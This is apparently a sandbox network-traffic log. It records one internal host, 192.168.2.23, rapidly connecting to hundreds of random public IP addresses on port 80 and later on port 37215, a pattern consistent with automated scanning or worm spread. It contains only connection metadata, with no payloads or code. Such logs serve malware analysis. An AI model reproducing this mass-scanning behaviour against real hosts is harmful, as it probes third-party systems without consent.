Dec 3, 2024 23:01:50.038765907 CET	60046	80	192.168.2.23	66.13.67.145
Dec 3, 2024 23:01:50.038765907 CET	60046	80	192.168.2.23	132.6.212.126
Dec 3, 2024 23:01:50.038765907 CET	60046	80	192.168.2.23	221.161.159.180
Dec 3, 2024 23:01:50.038773060 CET	60046	80	192.168.2.23	139.210.140.60
Dec 3, 2024 23:01:50.038773060 CET	60046	80	192.168.2.23	71.198.140.16
Dec 3, 2024 23:01:50.038773060 CET	60046	80	192.168.2.23	218.143.118.32
Dec 3, 2024 23:01:50.038773060 CET	60046	80	192.168.2.23	52.196.197.20
Dec 3, 2024 23:01:50.038778067 CET	60046	80	192.168.2.23	36.179.184.175
Dec 3, 2024 23:01:50.038785934 CET	60046	80	192.168.2.23	158.138.217.47
Dec 3, 2024 23:01:50.038788080 CET	60046	80	192.168.2.23	137.165.94.225
Dec 3, 2024 23:01:50.038795948 CET	60046	80	192.168.2.23	85.113.86.110
Dec 3, 2024 23:01:50.038796902 CET	60046	80	192.168.2.23	27.52.111.7
Dec 3, 2024 23:01:50.038798094 CET	60046	80	192.168.2.23	90.98.250.89
Dec 3, 2024 23:01:50.038800001 CET	60046	80	192.168.2.23	17.130.140.56
Dec 3, 2024 23:01:50.038815022 CET	60046	80	192.168.2.23	51.181.54.60
Dec 3, 2024 23:01:50.038815022 CET	60046	80	192.168.2.23	218.50.184.203
Dec 3, 2024 23:01:50.038819075 CET	60046	80	192.168.2.23	175.194.163.60
Dec 3, 2024 23:01:50.038822889 CET	60046	80	192.168.2.23	179.223.19.88
Dec 3, 2024 23:01:50.038822889 CET	60046	80	192.168.2.23	109.216.20.116
Dec 3, 2024 23:01:50.038824081 CET	60046	80	192.168.2.23	44.11.28.100
Dec 3, 2024 23:01:50.038829088 CET	60046	80	192.168.2.23	135.117.24.246
Dec 3, 2024 23:01:50.038830042 CET	60046	80	192.168.2.23	134.123.131.205
Dec 3, 2024 23:01:50.038834095 CET	60046	80	192.168.2.23	151.152.92.205
Dec 3, 2024 23:01:50.038836956 CET	60046	80	192.168.2.23	143.131.109.89
Dec 3, 2024 23:01:50.038836956 CET	60046	80	192.168.2.23	97.237.209.59
Dec 3, 2024 23:01:50.038846016 CET	60046	80	192.168.2.23	39.47.222.56
Dec 3, 2024 23:01:50.038849115 CET	60046	80	192.168.2.23	209.96.127.29
Dec 3, 2024 23:01:50.038856030 CET	60046	80	192.168.2.23	139.161.199.219
Dec 3, 2024 23:01:50.038856030 CET	60046	80	192.168.2.23	25.151.233.202
Dec 3, 2024 23:01:50.038862944 CET	60046	80	192.168.2.23	171.251.168.118
Dec 3, 2024 23:01:50.038866043 CET	60046	80	192.168.2.23	174.254.136.108
Dec 3, 2024 23:01:50.038872004 CET	60046	80	192.168.2.23	32.247.41.227
Dec 3, 2024 23:01:50.038880110 CET	60046	80	192.168.2.23	47.127.85.102
Dec 3, 2024 23:01:50.038880110 CET	60046	80	192.168.2.23	216.215.128.77
Dec 3, 2024 23:01:50.038882971 CET	60046	80	192.168.2.23	58.121.173.155
Dec 3, 2024 23:01:50.038887978 CET	60046	80	192.168.2.23	19.140.168.98
Dec 3, 2024 23:01:50.038902044 CET	60046	80	192.168.2.23	133.97.204.178
Dec 3, 2024 23:01:50.038908005 CET	60046	80	192.168.2.23	59.125.21.167
Dec 3, 2024 23:01:50.038911104 CET	60046	80	192.168.2.23	146.11.18.86
Dec 3, 2024 23:01:50.038911104 CET	60046	80	192.168.2.23	180.69.15.167
Dec 3, 2024 23:01:50.038921118 CET	60046	80	192.168.2.23	42.214.158.5
Dec 3, 2024 23:01:50.038921118 CET	60046	80	192.168.2.23	106.59.33.247
Dec 3, 2024 23:01:50.038923025 CET	60046	80	192.168.2.23	177.125.59.20
Dec 3, 2024 23:01:50.038923025 CET	60046	80	192.168.2.23	159.152.42.39
Dec 3, 2024 23:01:50.038927078 CET	60046	80	192.168.2.23	2.227.1.176
Dec 3, 2024 23:01:50.038927078 CET	60046	80	192.168.2.23	104.227.239.84
Dec 3, 2024 23:01:50.038927078 CET	60046	80	192.168.2.23	169.182.53.203
Dec 3, 2024 23:01:50.038930893 CET	60046	80	192.168.2.23	218.213.72.172
Dec 3, 2024 23:01:50.038930893 CET	60046	80	192.168.2.23	50.123.234.120
Dec 3, 2024 23:01:50.038930893 CET	60046	80	192.168.2.23	65.108.232.215
Dec 3, 2024 23:01:50.038933992 CET	60046	80	192.168.2.23	65.55.91.155
Dec 3, 2024 23:01:50.038935900 CET	60046	80	192.168.2.23	195.181.243.220
Dec 3, 2024 23:01:50.038935900 CET	60046	80	192.168.2.23	170.207.89.222
Dec 3, 2024 23:01:50.038939953 CET	60046	80	192.168.2.23	1.126.30.218
Dec 3, 2024 23:01:50.038944960 CET	60046	80	192.168.2.23	175.89.86.230
Dec 3, 2024 23:01:50.038944960 CET	60046	80	192.168.2.23	1.135.187.217
Dec 3, 2024 23:01:50.038945913 CET	60046	80	192.168.2.23	13.141.15.221
Dec 3, 2024 23:01:50.038948059 CET	60046	80	192.168.2.23	39.184.19.133
Dec 3, 2024 23:01:50.038948059 CET	60046	80	192.168.2.23	61.45.37.47
Dec 3, 2024 23:01:50.038949013 CET	60046	80	192.168.2.23	220.77.100.101
Dec 3, 2024 23:01:50.038949013 CET	60046	80	192.168.2.23	96.49.146.26
Dec 3, 2024 23:01:50.038949966 CET	60046	80	192.168.2.23	208.117.219.76
Dec 3, 2024 23:01:50.038965940 CET	60046	80	192.168.2.23	99.156.113.251
Dec 3, 2024 23:01:50.038968086 CET	60046	80	192.168.2.23	144.5.74.153
Dec 3, 2024 23:01:50.038969994 CET	60046	80	192.168.2.23	186.21.131.225
Dec 3, 2024 23:01:50.038969994 CET	60046	80	192.168.2.23	148.198.75.179
Dec 3, 2024 23:01:50.038969994 CET	60046	80	192.168.2.23	106.113.94.114
Dec 3, 2024 23:01:50.038975954 CET	60046	80	192.168.2.23	77.253.161.248
Dec 3, 2024 23:01:50.038975954 CET	60046	80	192.168.2.23	150.89.90.41
Dec 3, 2024 23:01:50.038978100 CET	60046	80	192.168.2.23	45.185.216.239
Dec 3, 2024 23:01:50.038985968 CET	60046	80	192.168.2.23	189.27.128.238
Dec 3, 2024 23:01:50.038985968 CET	60046	80	192.168.2.23	157.111.18.37
Dec 3, 2024 23:01:50.038985968 CET	60046	80	192.168.2.23	128.211.38.12
Dec 3, 2024 23:01:50.038988113 CET	60046	80	192.168.2.23	175.28.11.47
Dec 3, 2024 23:01:50.038985968 CET	60046	80	192.168.2.23	99.128.59.211
Dec 3, 2024 23:01:50.038995028 CET	60046	80	192.168.2.23	98.95.225.148
Dec 3, 2024 23:01:50.038996935 CET	60046	80	192.168.2.23	23.248.107.160
Dec 3, 2024 23:01:50.039001942 CET	60046	80	192.168.2.23	171.32.89.93
Dec 3, 2024 23:01:50.039006948 CET	60046	80	192.168.2.23	20.79.251.74
Dec 3, 2024 23:01:50.039012909 CET	60046	80	192.168.2.23	183.90.48.5
Dec 3, 2024 23:01:50.039012909 CET	60046	80	192.168.2.23	172.89.169.246
Dec 3, 2024 23:01:50.039015055 CET	60046	80	192.168.2.23	125.10.69.221
Dec 3, 2024 23:01:50.039021015 CET	60046	80	192.168.2.23	65.165.160.8
Dec 3, 2024 23:01:50.039030075 CET	60046	80	192.168.2.23	201.123.108.125
Dec 3, 2024 23:01:50.039032936 CET	60046	80	192.168.2.23	94.211.66.151
Dec 3, 2024 23:01:50.039036036 CET	60046	80	192.168.2.23	68.191.190.163
Dec 3, 2024 23:01:50.039046049 CET	60046	80	192.168.2.23	219.40.28.190
Dec 3, 2024 23:01:50.039052963 CET	60046	80	192.168.2.23	91.101.120.196
Dec 3, 2024 23:01:50.039052963 CET	60046	80	192.168.2.23	164.142.139.138
Dec 3, 2024 23:01:50.039056063 CET	60046	80	192.168.2.23	178.177.21.74
Dec 3, 2024 23:01:50.039056063 CET	60046	80	192.168.2.23	211.68.230.56
Dec 3, 2024 23:01:50.039072037 CET	60046	80	192.168.2.23	8.29.54.195
Dec 3, 2024 23:01:50.039076090 CET	60046	80	192.168.2.23	91.11.156.153
Dec 3, 2024 23:01:50.039076090 CET	60046	80	192.168.2.23	199.26.160.124
Dec 3, 2024 23:01:50.039083958 CET	60046	80	192.168.2.23	114.117.246.55
Dec 3, 2024 23:01:50.039092064 CET	60046	80	192.168.2.23	4.129.76.99
Dec 3, 2024 23:01:50.039094925 CET	60046	80	192.168.2.23	209.197.219.226
Dec 3, 2024 23:01:50.039100885 CET	60046	80	192.168.2.23	151.155.188.185
Dec 3, 2024 23:01:50.039100885 CET	60046	80	192.168.2.23	46.35.254.115
Dec 3, 2024 23:01:50.039112091 CET	60046	80	192.168.2.23	60.72.146.192
Dec 3, 2024 23:01:50.039119005 CET	60046	80	192.168.2.23	54.249.15.110
Dec 3, 2024 23:01:50.039119005 CET	60046	80	192.168.2.23	222.0.5.217
Dec 3, 2024 23:01:50.039130926 CET	60046	80	192.168.2.23	108.157.15.47
Dec 3, 2024 23:01:50.039134026 CET	60046	80	192.168.2.23	205.20.128.118
Dec 3, 2024 23:01:50.039134026 CET	60046	80	192.168.2.23	180.102.105.130
Dec 3, 2024 23:01:50.039139986 CET	60046	80	192.168.2.23	137.181.186.228
Dec 3, 2024 23:01:50.039140940 CET	60046	80	192.168.2.23	101.157.63.202
Dec 3, 2024 23:01:50.039144039 CET	60046	80	192.168.2.23	93.169.139.119
Dec 3, 2024 23:01:50.039160013 CET	60046	80	192.168.2.23	168.16.177.186
Dec 3, 2024 23:01:50.039161921 CET	60046	80	192.168.2.23	35.97.230.159
Dec 3, 2024 23:01:50.039164066 CET	60046	80	192.168.2.23	50.6.23.134
Dec 3, 2024 23:01:50.039165020 CET	60046	80	192.168.2.23	54.42.0.168
Dec 3, 2024 23:01:50.039171934 CET	60046	80	192.168.2.23	24.65.117.131
Dec 3, 2024 23:01:50.039171934 CET	60046	80	192.168.2.23	159.56.235.233
Dec 3, 2024 23:01:50.039172888 CET	60046	80	192.168.2.23	204.189.236.135
Dec 3, 2024 23:01:50.039174080 CET	60046	80	192.168.2.23	1.100.135.55
Dec 3, 2024 23:01:50.039174080 CET	60046	80	192.168.2.23	126.194.26.120
Dec 3, 2024 23:01:50.039185047 CET	60046	80	192.168.2.23	178.118.19.103
Dec 3, 2024 23:01:50.039189100 CET	60046	80	192.168.2.23	90.108.71.94
Dec 3, 2024 23:01:50.039202929 CET	60046	80	192.168.2.23	5.124.23.2
Dec 3, 2024 23:01:50.039202929 CET	60046	80	192.168.2.23	14.96.177.13
Dec 3, 2024 23:01:50.039202929 CET	60046	80	192.168.2.23	69.60.60.7
Dec 3, 2024 23:01:50.039205074 CET	60046	80	192.168.2.23	139.251.166.234
Dec 3, 2024 23:01:50.039212942 CET	60046	80	192.168.2.23	177.208.202.219
Dec 3, 2024 23:01:50.039227009 CET	60046	80	192.168.2.23	54.166.119.161
Dec 3, 2024 23:01:50.039242029 CET	60046	80	192.168.2.23	218.185.15.120
Dec 3, 2024 23:01:50.039242029 CET	60046	80	192.168.2.23	32.233.84.16
Dec 3, 2024 23:01:50.039242029 CET	60046	80	192.168.2.23	58.0.162.122
Dec 3, 2024 23:01:50.039246082 CET	60046	80	192.168.2.23	162.103.146.90
Dec 3, 2024 23:01:50.039246082 CET	60046	80	192.168.2.23	108.230.139.148
Dec 3, 2024 23:01:50.039248943 CET	60046	80	192.168.2.23	23.142.5.182
Dec 3, 2024 23:01:50.039252996 CET	60046	80	192.168.2.23	68.119.115.23
Dec 3, 2024 23:01:50.039253950 CET	60046	80	192.168.2.23	39.128.13.162
Dec 3, 2024 23:01:50.039253950 CET	60046	80	192.168.2.23	137.88.66.254
Dec 3, 2024 23:01:50.039261103 CET	60046	80	192.168.2.23	53.193.18.91
Dec 3, 2024 23:01:50.039262056 CET	60046	80	192.168.2.23	37.19.10.249
Dec 3, 2024 23:01:50.039262056 CET	60046	80	192.168.2.23	79.225.97.91
Dec 3, 2024 23:01:50.039263010 CET	60046	80	192.168.2.23	180.107.0.170
Dec 3, 2024 23:01:50.039263010 CET	60046	80	192.168.2.23	154.67.16.23
Dec 3, 2024 23:01:50.039272070 CET	60046	80	192.168.2.23	74.77.144.60
Dec 3, 2024 23:01:50.039280891 CET	60046	80	192.168.2.23	181.158.63.98
Dec 3, 2024 23:01:50.039283037 CET	60046	80	192.168.2.23	2.245.19.42
Dec 3, 2024 23:01:50.039283037 CET	60046	80	192.168.2.23	197.106.52.193
Dec 3, 2024 23:01:50.039284945 CET	60046	80	192.168.2.23	20.106.193.105
Dec 3, 2024 23:01:50.039285898 CET	60046	80	192.168.2.23	175.76.74.248
Dec 3, 2024 23:01:50.039287090 CET	60046	80	192.168.2.23	27.252.71.6
Dec 3, 2024 23:01:50.039295912 CET	60046	80	192.168.2.23	140.30.49.254
Dec 3, 2024 23:01:50.039307117 CET	60046	80	192.168.2.23	164.253.14.105
Dec 3, 2024 23:01:50.039307117 CET	60046	80	192.168.2.23	189.22.79.204
Dec 3, 2024 23:01:50.039309978 CET	60046	80	192.168.2.23	129.250.232.153
Dec 3, 2024 23:01:50.039318085 CET	60046	80	192.168.2.23	47.75.219.164
Dec 3, 2024 23:01:50.039324045 CET	60046	80	192.168.2.23	142.75.9.166
Dec 3, 2024 23:01:50.039326906 CET	60046	80	192.168.2.23	207.74.197.201
Dec 3, 2024 23:01:50.039329052 CET	60046	80	192.168.2.23	57.84.137.255
Dec 3, 2024 23:01:50.039341927 CET	60046	80	192.168.2.23	112.76.190.100
Dec 3, 2024 23:01:50.039345026 CET	60046	80	192.168.2.23	211.135.187.2
Dec 3, 2024 23:01:50.039345980 CET	60046	80	192.168.2.23	148.2.216.37
Dec 3, 2024 23:01:50.039350986 CET	60046	80	192.168.2.23	101.48.180.179
Dec 3, 2024 23:01:50.039351940 CET	60046	80	192.168.2.23	174.55.15.125
Dec 3, 2024 23:01:50.039355040 CET	60046	80	192.168.2.23	174.160.152.177
Dec 3, 2024 23:01:50.039355040 CET	60046	80	192.168.2.23	151.245.56.31
Dec 3, 2024 23:01:50.039356947 CET	60046	80	192.168.2.23	166.194.39.172
Dec 3, 2024 23:01:50.039360046 CET	60046	80	192.168.2.23	194.83.79.151
Dec 3, 2024 23:01:50.039375067 CET	60046	80	192.168.2.23	83.114.43.169
Dec 3, 2024 23:01:50.039375067 CET	60046	80	192.168.2.23	152.146.30.113
Dec 3, 2024 23:01:50.039381027 CET	60046	80	192.168.2.23	69.99.14.138
Dec 3, 2024 23:01:50.039382935 CET	60046	80	192.168.2.23	195.155.123.27
Dec 3, 2024 23:01:50.039406061 CET	60046	80	192.168.2.23	206.69.37.200
Dec 3, 2024 23:01:50.039410114 CET	60046	80	192.168.2.23	23.7.184.91
Dec 3, 2024 23:01:50.039410114 CET	60046	80	192.168.2.23	164.85.164.5
Dec 3, 2024 23:01:50.039413929 CET	60046	80	192.168.2.23	47.36.223.67
Dec 3, 2024 23:01:50.039417982 CET	60046	80	192.168.2.23	23.112.76.208
Dec 3, 2024 23:01:50.039418936 CET	60046	80	192.168.2.23	134.219.119.71
Dec 3, 2024 23:01:50.039418936 CET	60046	80	192.168.2.23	168.230.145.154
Dec 3, 2024 23:01:50.039418936 CET	60046	80	192.168.2.23	179.164.99.236
Dec 3, 2024 23:01:50.039418936 CET	60046	80	192.168.2.23	59.169.21.187
Dec 3, 2024 23:01:50.039418936 CET	60046	80	192.168.2.23	110.0.126.239
Dec 3, 2024 23:01:50.039426088 CET	60046	80	192.168.2.23	8.217.236.114
Dec 3, 2024 23:01:50.039432049 CET	60046	80	192.168.2.23	37.33.162.57
Dec 3, 2024 23:01:50.039442062 CET	60046	80	192.168.2.23	76.190.161.126
Dec 3, 2024 23:01:50.039454937 CET	60046	80	192.168.2.23	71.175.130.113
Dec 3, 2024 23:01:50.039463997 CET	60046	80	192.168.2.23	133.165.91.213
Dec 3, 2024 23:01:50.039465904 CET	60046	80	192.168.2.23	189.226.243.162
Dec 3, 2024 23:01:50.039465904 CET	60046	80	192.168.2.23	108.173.165.224
Dec 3, 2024 23:01:50.039470911 CET	60046	80	192.168.2.23	153.153.39.37
Dec 3, 2024 23:01:50.039470911 CET	60046	80	192.168.2.23	63.3.131.240
Dec 3, 2024 23:01:50.039479971 CET	60046	80	192.168.2.23	171.123.246.7
Dec 3, 2024 23:01:50.039488077 CET	60046	80	192.168.2.23	43.203.78.221
Dec 3, 2024 23:01:50.039489985 CET	60046	80	192.168.2.23	20.152.134.207
Dec 3, 2024 23:01:50.039498091 CET	60046	80	192.168.2.23	187.229.145.94
Dec 3, 2024 23:01:50.039510965 CET	60046	80	192.168.2.23	76.0.133.59
Dec 3, 2024 23:01:50.039510965 CET	60046	80	192.168.2.23	115.43.180.151
Dec 3, 2024 23:01:50.039514065 CET	60046	80	192.168.2.23	75.109.85.104
Dec 3, 2024 23:01:50.039520025 CET	60046	80	192.168.2.23	222.147.86.167
Dec 3, 2024 23:01:50.039526939 CET	60046	80	192.168.2.23	111.226.242.72
Dec 3, 2024 23:01:50.039544106 CET	35186	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:50.039544106 CET	35186	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:50.039561987 CET	35192	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:50.081816912 CET	80	49548	144.233.250.218	192.168.2.23
Dec 3, 2024 23:01:50.081860065 CET	80	57192	1.57.198.16	192.168.2.23
Dec 3, 2024 23:01:50.162698030 CET	80	60046	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:50.162710905 CET	80	60046	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:50.162720919 CET	80	60046	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:50.162740946 CET	80	60046	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:50.162750006 CET	80	60046	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:50.162764072 CET	80	60046	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:50.162772894 CET	80	60046	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:50.162781000 CET	80	60046	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:50.162781954 CET	60046	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:50.162781954 CET	60046	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:50.162789106 CET	80	60046	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:50.162787914 CET	60046	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:50.162791967 CET	60046	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:50.162791967 CET	60046	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:50.162800074 CET	80	60046	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:50.162807941 CET	60046	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:50.162811041 CET	60046	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:50.162817001 CET	60046	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:50.162830114 CET	80	60046	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:50.162831068 CET	60046	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:50.162836075 CET	60046	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:50.162838936 CET	80	60046	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:50.162847996 CET	80	60046	112.16.175.41	192.168.2.23
Dec 3, 2024 23:01:50.162874937 CET	60046	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:50.162895918 CET	60046	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:50.162899971 CET	60046	80	192.168.2.23	112.16.175.41
Dec 3, 2024 23:01:50.162908077 CET	80	60046	184.145.222.88	192.168.2.23
Dec 3, 2024 23:01:50.162918091 CET	80	60046	57.16.75.18	192.168.2.23
Dec 3, 2024 23:01:50.162925959 CET	80	60046	40.208.105.235	192.168.2.23
Dec 3, 2024 23:01:50.162940025 CET	80	60046	205.244.238.92	192.168.2.23
Dec 3, 2024 23:01:50.162950039 CET	80	60046	164.63.62.180	192.168.2.23
Dec 3, 2024 23:01:50.162950039 CET	60046	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:50.162956953 CET	80	60046	50.151.21.8	192.168.2.23
Dec 3, 2024 23:01:50.162959099 CET	60046	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:50.162964106 CET	60046	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:50.162966013 CET	80	60046	123.52.192.123	192.168.2.23
Dec 3, 2024 23:01:50.162971973 CET	60046	80	192.168.2.23	205.244.238.92
Dec 3, 2024 23:01:50.162975073 CET	60046	80	192.168.2.23	164.63.62.180
Dec 3, 2024 23:01:50.162976027 CET	80	60046	82.120.56.10	192.168.2.23
Dec 3, 2024 23:01:50.162986040 CET	80	60046	111.235.227.103	192.168.2.23
Dec 3, 2024 23:01:50.162992954 CET	60046	80	192.168.2.23	50.151.21.8
Dec 3, 2024 23:01:50.162992954 CET	60046	80	192.168.2.23	123.52.192.123
Dec 3, 2024 23:01:50.162993908 CET	80	60046	198.53.211.167	192.168.2.23
Dec 3, 2024 23:01:50.163003922 CET	80	60046	146.63.138.246	192.168.2.23
Dec 3, 2024 23:01:50.163005114 CET	60046	80	192.168.2.23	82.120.56.10
Dec 3, 2024 23:01:50.163012981 CET	80	60046	81.114.132.64	192.168.2.23
Dec 3, 2024 23:01:50.163016081 CET	60046	80	192.168.2.23	111.235.227.103
Dec 3, 2024 23:01:50.163021088 CET	80	60046	64.182.50.28	192.168.2.23
Dec 3, 2024 23:01:50.163028955 CET	80	60046	73.36.157.53	192.168.2.23
Dec 3, 2024 23:01:50.163033009 CET	60046	80	192.168.2.23	146.63.138.246
Dec 3, 2024 23:01:50.163034916 CET	60046	80	192.168.2.23	198.53.211.167
Dec 3, 2024 23:01:50.163038015 CET	80	60046	68.184.62.249	192.168.2.23
Dec 3, 2024 23:01:50.163047075 CET	80	60046	208.239.12.189	192.168.2.23
Dec 3, 2024 23:01:50.163049936 CET	60046	80	192.168.2.23	81.114.132.64
Dec 3, 2024 23:01:50.163053989 CET	60046	80	192.168.2.23	64.182.50.28
Dec 3, 2024 23:01:50.163054943 CET	80	60046	177.233.205.201	192.168.2.23
Dec 3, 2024 23:01:50.163058996 CET	60046	80	192.168.2.23	73.36.157.53
Dec 3, 2024 23:01:50.163064003 CET	80	60046	143.150.243.101	192.168.2.23
Dec 3, 2024 23:01:50.163067102 CET	60046	80	192.168.2.23	68.184.62.249
Dec 3, 2024 23:01:50.163075924 CET	60046	80	192.168.2.23	208.239.12.189
Dec 3, 2024 23:01:50.163089037 CET	60046	80	192.168.2.23	177.233.205.201
Dec 3, 2024 23:01:50.163099051 CET	60046	80	192.168.2.23	143.150.243.101
Dec 3, 2024 23:01:50.163167953 CET	80	35186	135.15.7.163	192.168.2.23
Dec 3, 2024 23:01:50.165841103 CET	80	57198	1.57.198.16	192.168.2.23
Dec 3, 2024 23:01:50.165879965 CET	80	49558	144.233.250.218	192.168.2.23
Dec 3, 2024 23:01:50.166191101 CET	80	57198	1.57.198.16	192.168.2.23
Dec 3, 2024 23:01:50.166232109 CET	57198	80	192.168.2.23	1.57.198.16
Dec 3, 2024 23:01:50.168040991 CET	80	49558	144.233.250.218	192.168.2.23
Dec 3, 2024 23:01:50.168081999 CET	49558	80	192.168.2.23	144.233.250.218
Dec 3, 2024 23:01:50.205806971 CET	80	35186	135.15.7.163	192.168.2.23
Dec 3, 2024 23:01:50.669128895 CET	59534	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:50.669132948 CET	59534	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:50.669132948 CET	59534	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:50.669136047 CET	59534	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:50.669150114 CET	59534	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:50.669151068 CET	59534	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:50.669151068 CET	59534	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:50.669151068 CET	59534	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:50.669151068 CET	59534	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:50.669157028 CET	59534	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:50.669171095 CET	59534	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:50.669171095 CET	59534	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:50.669171095 CET	59534	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:50.669171095 CET	59534	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:50.669171095 CET	59534	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:50.669186115 CET	59534	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:50.669186115 CET	59534	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:50.669188023 CET	59534	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:50.669193029 CET	59534	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:50.669194937 CET	59534	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:50.669194937 CET	59534	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:50.669193029 CET	59534	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:50.669193029 CET	59534	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:50.669198990 CET	59534	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:50.669199944 CET	59534	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:50.669214964 CET	59534	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:50.669214964 CET	59534	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:50.669218063 CET	59534	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:50.669223070 CET	59534	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:50.669223070 CET	59534	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:50.669231892 CET	59534	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:50.669233084 CET	59534	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:50.669234037 CET	59534	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:50.669240952 CET	59534	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:50.669243097 CET	59534	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:50.669258118 CET	59534	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:50.669258118 CET	59534	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:50.669261932 CET	59534	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:50.669261932 CET	59534	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:50.669261932 CET	59534	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:50.669261932 CET	59534	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:50.669270992 CET	59534	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:50.669279099 CET	59534	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:50.669279099 CET	59534	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:50.669279099 CET	59534	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:50.669289112 CET	59534	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:50.669289112 CET	59534	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:50.669289112 CET	59534	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:50.669289112 CET	59534	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:50.669297934 CET	59534	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:50.669306993 CET	59534	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:50.669316053 CET	59534	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:50.669316053 CET	59534	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:50.669316053 CET	59534	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:50.669325113 CET	59534	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:50.669325113 CET	59534	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:50.669325113 CET	59534	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:50.669346094 CET	59534	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:50.669346094 CET	59534	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:50.669348001 CET	59534	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:50.669349909 CET	59534	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:50.669351101 CET	59534	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:50.669358969 CET	59534	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:50.669358969 CET	59534	37215	192.168.2.23	41.63.1.20
Dec 3, 2024 23:01:50.669359922 CET	59534	37215	192.168.2.23	197.169.93.142
Dec 3, 2024 23:01:50.669362068 CET	59534	37215	192.168.2.23	197.56.16.200
Dec 3, 2024 23:01:50.669369936 CET	59534	37215	192.168.2.23	197.103.47.126
Dec 3, 2024 23:01:50.669370890 CET	59534	37215	192.168.2.23	156.96.27.100
Dec 3, 2024 23:01:50.669370890 CET	59534	37215	192.168.2.23	41.86.101.6
